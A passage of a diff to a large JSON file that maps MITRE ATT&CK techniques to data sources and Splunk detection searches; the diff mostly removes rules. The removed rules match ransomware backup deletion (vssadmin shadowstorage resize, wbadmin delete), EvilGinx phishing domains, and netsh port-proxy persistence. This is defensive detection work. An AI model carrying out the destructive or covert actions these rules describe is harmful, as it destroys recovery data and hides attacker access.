Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Resize ShadowStorage volume", - "description": "The following analytic identifies the resizing of shadow storage volumes, a technique used by ransomware like CLOP to prevent the recreation of shadow volumes. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"vssadmin.exe\" with parameters related to resizing shadow storage. This activity is significant as it indicates an attempt to hinder recovery efforts by manipulating shadow copies. If confirmed malicious, this could lead to successful ransomware deployment, making data recovery difficult and increasing the potential for data loss.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as cmdline values(Processes.parent_process_name) as parent_process values(Processes.process_name) as process_name min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = \"cmd.exe\" OR Processes.parent_process_name = \"powershell.exe\" OR Processes.parent_process_name = \"powershell_ise.exe\" OR Processes.parent_process_name = \"wmic.exe\" Processes.process_name = \"vssadmin.exe\" Processes.process=\"*resize*\" Processes.process=\"*shadowstorage*\" Processes.process=\"*/maxsize*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `resize_shadowstorage_volume_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Clop Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $parent_process_name$ attempt to resize shadow copy with commandline $process$ in host $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "WBAdmin Delete System Backups", - "description": "The following analytic detects the execution of wbadmin.exe with flags that delete backup files, specifically targeting catalog or system state backups. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because it is commonly used by ransomware to prevent recovery by deleting system backups. If confirmed malicious, this action could severely hinder recovery efforts, leading to prolonged downtime and potential data loss.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wbadmin.exe Processes.process=\"*delete*\" AND (Processes.process=\"*catalog*\" OR Processes.process=\"*systemstatebackup*\") by Processes.process_name Processes.process Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `wbadmin_delete_system_backups_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "Prestige Ransomware", - "Ransomware", - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System backups deletion on $dest$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1490", - "mitre_attack_technique": "Inhibit System Recovery", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } + "technique_id": "T1490", + "technique": "Inhibit System Recovery", + "tactic": [ + "impact" + ], + "platform": [ + "Windows", + "macOS", + "Linux" + ], + "data_source": "file", + "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "file deletion", + "type": "activity", + "description": "A file was deleted.", + "source_data_element": "user", + "relationship": "deleted", + "target_data_element": "file", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" + ] } ], "external_reference": [ @@ -713922,99 +482200,44 @@ "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", "source_data_element": "network traffic flow", "relationship": "identified", - "target_data_element": "application layer protocol" - }, - { - "technique_id": "T1566.003", - "x_mitre_is_subtechnique": true, - "technique": "Spearphishing via Service", - "tactic": [ - "initial-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic flow", - "type": "information", - "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic flow", - "relationship": "identified", - "target_data_element": "network traffic volume" + "target_data_element": "application layer protocol" }, { - "name": "Detect DNS requests to Phishing Sites leveraging EvilGinx2", - "description": "This search looks for DNS requests for phishing domains that are leveraging EvilGinx tools to mimic websites.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.answer) as answer from datamodel=Network_Resolution.DNS by DNS.dest DNS.src DNS.query host | `drop_dm_object_name(DNS)`| rex field=query \".*?(?[^./:]+\\.(\\S{2,3}|\\S{2,3}.\\S{2,3}))$\" | stats count values(query) as query by domain dest src answer| search `evilginx_phishlets_amazon` OR `evilginx_phishlets_facebook` OR `evilginx_phishlets_github` OR `evilginx_phishlets_0365` OR `evilginx_phishlets_outlook` OR `evilginx_phishlets_aws` OR `evilginx_phishlets_google` | search NOT [ inputlookup legit_domains.csv | fields domain]| join domain type=outer [| tstats count `security_content_summariesonly` values(Web.url) as url from datamodel=Web.Web by Web.dest Web.site | rename \"Web.*\" as * | rex field=site \".*?(?[^./:]+\\.(\\S{2,3}|\\S{2,3}.\\S{2,3}))$\" | table dest domain url] | table count src dest query answer domain url | `detect_dns_requests_to_phishing_sites_leveraging_evilginx2_filter`", - "tags": { - "analytic_story": [ - "Common Phishing Frameworks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.003", - "mitre_attack_technique": "Spearphishing via Service", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT29", - "Ajax Security Team", - "CURIUM", - "Dark Caracal", - "EXOTIC LILY", - "FIN6", - "Lazarus Group", - "Magic Hound", - "OilRig", - "ToddyCat", - "Windshift" - ] - } - ] - } + "technique_id": "T1566.003", + "x_mitre_is_subtechnique": true, + "technique": "Spearphishing via Service", + "tactic": [ + "initial-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic flow", + "type": "information", + "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic flow", + "relationship": "identified", + "target_data_element": "network traffic volume" } ], "external_reference": [ @@ -714983,230 +483206,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected to", - "target_data_element": "port" - }, - { - "technique_id": "T1090.001", - "x_mitre_is_subtechnique": true, - "technique": "Internal Proxy", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected to", - "target_data_element": "host" - }, - { - "technique_id": "T1090.001", - "x_mitre_is_subtechnique": true, - "technique": "Internal Proxy", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected from", - "target_data_element": "ip" - }, - { - "technique_id": "T1090.001", - "x_mitre_is_subtechnique": true, - "technique": "Internal Proxy", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected from", - "target_data_element": "port" - }, - { - "technique_id": "T1090.001", - "x_mitre_is_subtechnique": true, - "technique": "Internal Proxy", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected from", - "target_data_element": "host" - }, - { - "technique_id": "T1090.001", - "x_mitre_is_subtechnique": true, - "technique": "Internal Proxy", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted to bind on", - "target_data_element": "port" - }, - { - "technique_id": "T1090.001", - "x_mitre_is_subtechnique": true, - "technique": "Internal Proxy", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "bound to", + "source_data_element": "user", + "relationship": "connected to", "target_data_element": "port" }, { @@ -715242,8 +483243,45 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", + "source_data_element": "user", + "relationship": "connected to", + "target_data_element": "host" + }, + { + "technique_id": "T1090.001", + "x_mitre_is_subtechnique": true, + "technique": "Internal Proxy", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "user", + "relationship": "connected from", "target_data_element": "ip" }, { @@ -715279,8 +483317,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", + "source_data_element": "user", + "relationship": "connected from", "target_data_element": "port" }, { @@ -715316,9 +483354,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", - "target_data_element": "process" + "source_data_element": "user", + "relationship": "connected from", + "target_data_element": "host" }, { "technique_id": "T1090.001", @@ -715354,7 +483392,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "attempted to listen on", + "relationship": "attempted to bind on", "target_data_element": "port" }, { @@ -715391,7 +483429,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "listened on", + "relationship": "bound to", "target_data_element": "port" }, { @@ -715428,7 +483466,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked port bind on", + "relationship": "permitted listener on", "target_data_element": "ip" }, { @@ -715465,7 +483503,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked port bind on", + "relationship": "permitted listener on", "target_data_element": "port" }, { @@ -715502,9 +483540,83 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked port bind on", + "relationship": "permitted listener on", "target_data_element": "process" }, + { + "technique_id": "T1090.001", + "x_mitre_is_subtechnique": true, + "technique": "Internal Proxy", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "process", + "relationship": "attempted to listen on", + "target_data_element": "port" + }, + { + "technique_id": "T1090.001", + "x_mitre_is_subtechnique": true, + "technique": "Internal Proxy", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "process", + "relationship": "listened on", + "target_data_element": "port" + }, { "technique_id": "T1090.001", "x_mitre_is_subtechnique": true, @@ -715539,7 +483651,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "blocked port bind on", "target_data_element": "ip" }, { @@ -715576,7 +483688,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "blocked port bind on", "target_data_element": "port" }, { @@ -715613,7 +483725,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "blocked port bind on", "target_data_element": "process" }, { @@ -715650,7 +483762,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", + "relationship": "blocked connection to", "target_data_element": "ip" }, { @@ -715687,7 +483799,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", + "relationship": "blocked connection to", "target_data_element": "port" }, { @@ -715724,7 +483836,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", + "relationship": "blocked connection to", "target_data_element": "process" }, { @@ -715761,7 +483873,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "blocked connection from", "target_data_element": "ip" }, { @@ -715798,7 +483910,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "blocked connection from", "target_data_element": "port" }, { @@ -715835,7 +483947,44 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection from", + "target_data_element": "process" + }, + { + "technique_id": "T1090.001", + "x_mitre_is_subtechnique": true, + "technique": "Internal Proxy", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked connection to", "target_data_element": "ip" }, { @@ -715872,7 +484021,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection to", "target_data_element": "port" }, { @@ -715910,7 +484059,7 @@ "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", "relationship": "blocked listener on", - "target_data_element": "process" + "target_data_element": "ip" }, { "technique_id": "T1090.001", @@ -715942,12 +484091,49 @@ "CTID", "ExtraHop" ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "administration traffic" + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "port" + }, + { + "technique_id": "T1090.001", + "x_mitre_is_subtechnique": true, + "technique": "Internal Proxy", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "process" }, { "technique_id": "T1090.001", @@ -715984,7 +484170,7 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "dns traffic" + "target_data_element": "administration traffic" }, { "technique_id": "T1090.001", @@ -716021,7 +484207,7 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "encrypted traffic" + "target_data_element": "dns traffic" }, { "technique_id": "T1090.001", @@ -716058,7 +484244,7 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "mail traffic" + "target_data_element": "encrypted traffic" }, { "technique_id": "T1090.001", @@ -716095,7 +484281,7 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "file transfer traffic" + "target_data_element": "mail traffic" }, { "technique_id": "T1090.001", @@ -716132,7 +484318,7 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "web traffic" + "target_data_element": "file transfer traffic" }, { "technique_id": "T1090.001", @@ -716169,162 +484355,44 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "remote code execution traffic" - }, - { - "name": "Windows Proxy Via Netsh", - "description": "The following analytic identifies the use of netsh.exe to configure a connection proxy, which can be leveraged for persistence by executing a helper DLL. It detects this activity by analyzing process creation events from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"portproxy\" and \"v4tov4\" parameters. This activity is significant because it indicates potential unauthorized network configuration changes, which could be used to maintain persistence or redirect network traffic. If confirmed malicious, this could allow an attacker to maintain covert access or manipulate network communications, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process = \"* portproxy *\" Processes.process = \"* v4tov4 *\" by Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.user Processes.dest |`drop_dm_object_name(\"Processes\")` |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `windows_proxy_via_netsh_filter`", - "tags": { - "analytic_story": [ - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ has launched netsh with command-line $process$ on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090.001", - "mitre_attack_technique": "Internal Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT39", - "FIN13", - "Higaisa", - "Lazarus Group", - "Strider", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - } - ] - } + "target_data_element": "web traffic" }, { - "name": "Windows Proxy Via Registry", - "description": "The following analytic detects the modification of registry keys related to the Windows Proxy settings via netsh.exe. It leverages data from the Endpoint.Registry data model, focusing on changes to the registry path \"*\\\\System\\\\CurrentControlSet\\\\Services\\\\PortProxy\\\\v4tov4\\\\tcp*\". This activity is significant because netsh.exe can be used to establish a persistent proxy, potentially allowing an attacker to execute a helper DLL whenever netsh.exe runs. If confirmed malicious, this could enable the attacker to maintain persistence, manipulate network configurations, and potentially exfiltrate data or further compromise the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path =\"*\\\\System\\\\CurrentControlSet\\\\Services\\\\PortProxy\\\\v4tov4\\\\tcp*\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.action Registry.dest Registry.user | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `windows_proxy_via_registry_filter`", - "tags": { - "analytic_story": [ - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification for port proxy in$dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090.001", - "mitre_attack_technique": "Internal Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT39", - "FIN13", - "Higaisa", - "Lazarus Group", - "Strider", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - } - ] - } + "technique_id": "T1090.001", + "x_mitre_is_subtechnique": true, + "technique": "Internal Proxy", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "remote code execution traffic" } ], "external_reference": [], @@ -716760,81 +484828,7 @@ "Event ID": "4688 ", "Event Name": "Process CMD Line" } - ], - { - "name": "Windows System Script Proxy Execution Syncappvpublishingserver", - "description": "The following analytic detects the execution of Syncappvpublishingserver.vbs via wscript.exe or cscript.exe, which may indicate an attempt to download remote files or perform privilege escalation. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. Monitoring this activity is crucial as it can signify malicious use of a native Windows script for unauthorized actions. If confirmed malicious, this behavior could lead to unauthorized file downloads or elevated privileges, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"wscript.exe\",\"cscript.exe\") Processes.process=\"*syncappvpublishingserver.vbs*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_script_proxy_execution_syncappvpublishingserver_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download files or evade critical controls.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1216", - "mitre_attack_technique": "System Script Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -719696,380 +487690,180 